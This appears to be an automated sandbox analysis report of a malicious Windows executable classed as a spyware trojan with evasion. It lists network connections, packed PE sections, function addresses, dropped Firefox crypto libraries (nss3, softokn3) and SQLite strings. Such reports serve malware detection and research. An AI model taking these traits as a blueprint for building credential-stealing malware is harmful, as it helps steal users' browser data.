Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50117 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA4B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CA4B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CA4B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9EF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E35A0	0_2_6C9E35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA434A0	0_2_6CA434A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4C4A0	0_2_6CA4C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F6C80	0_2_6C9F6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA26CF0	0_2_6CA26CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F64C0	0_2_6C9F64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0D4D0	0_2_6CA0D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9ED4E0	0_2_6C9ED4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5542B	0_2_6CA5542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5AC00	0_2_6CA5AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA25C10	0_2_6CA25C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA32C10	0_2_6CA32C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F5440	0_2_6C9F5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5545C	0_2_6CA5545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA485F0	0_2_6CA485F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA20DD0	0_2_6CA20DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FFD00	0_2_6C9FFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0ED10	0_2_6CA0ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA10512	0_2_6CA10512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA44EA0	0_2_6CA44EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4E680	0_2_6CA4E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA05E90	0_2_6CA05E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA576E3	0_2_6CA576E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EBEF0	0_2_6C9EBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FFEF0	0_2_6C9FFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA49E30	0_2_6CA49E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA35600	0_2_6CA35600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA27E10	0_2_6CA27E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA56E63	0_2_6CA56E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA04640	0_2_6CA04640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA32E4E	0_2_6CA32E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EC670	0_2_6C9EC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA09E50	0_2_6CA09E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA23E50	0_2_6CA23E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA377A0	0_2_6CA377A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA16FF0	0_2_6CA16FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EDFE0	0_2_6C9EDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F9F00	0_2_6C9F9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA27710	0_2_6CA27710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA160A0	0_2_6CA160A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0C0E0	0_2_6CA0C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA258E0	0_2_6CA258E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA550C7	0_2_6CA550C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2B820	0_2_6CA2B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA34820	0_2_6CA34820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F7810	0_2_6C9F7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2F070	0_2_6CA2F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA08850	0_2_6CA08850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0D850	0_2_6CA0D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1D9B0	0_2_6CA1D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA25190	0_2_6CA25190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA42990	0_2_6CA42990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EC9A0	0_2_6C9EC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3B970	0_2_6CA3B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5B170	0_2_6CA5B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0A940	0_2_6CA0A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FD960	0_2_6C9FD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA14AA0	0_2_6CA14AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA52AB0	0_2_6CA52AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FCAB0	0_2_6C9FCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5BA90	0_2_6CA5BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E22A0	0_2_6C9E22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA01AF0	0_2_6CA01AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2E2F0	0_2_6CA2E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA28AC0	0_2_6CA28AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA29A60	0_2_6CA29A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EF380	0_2_6C9EF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA553C8	0_2_6CA553C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2D320	0_2_6CA2D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E5340	0_2_6C9E5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FC370	0_2_6C9FC370

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA1CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA294D0 appears 90 times

Source: file.exe, 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2756383669.000000006CC65000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: utkkpkvx ZLIB complexity 0.994963056063376

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@67/297@26/25

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA47030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CA47030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\BR2NH44N.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\5a91bd57-0381-4e3d-b16f-6f54e8d7b5b0.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2755600250.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748559487.000000001D388000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2756254145.000000006CC1F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2755600250.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748559487.000000001D388000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2756254145.000000006CC1F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2755600250.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748559487.000000001D388000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2756254145.000000006CC1F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000004.00000002.2439911179.000066C4006F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe, 00000000.00000002.2755600250.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748559487.000000001D388000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2756254145.000000006CC1F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2755600250.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748559487.000000001D388000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2756254145.000000006CC1F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2755600250.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748559487.000000001D388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2755600250.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748559487.000000001D388000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2756254145.000000006CC1F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
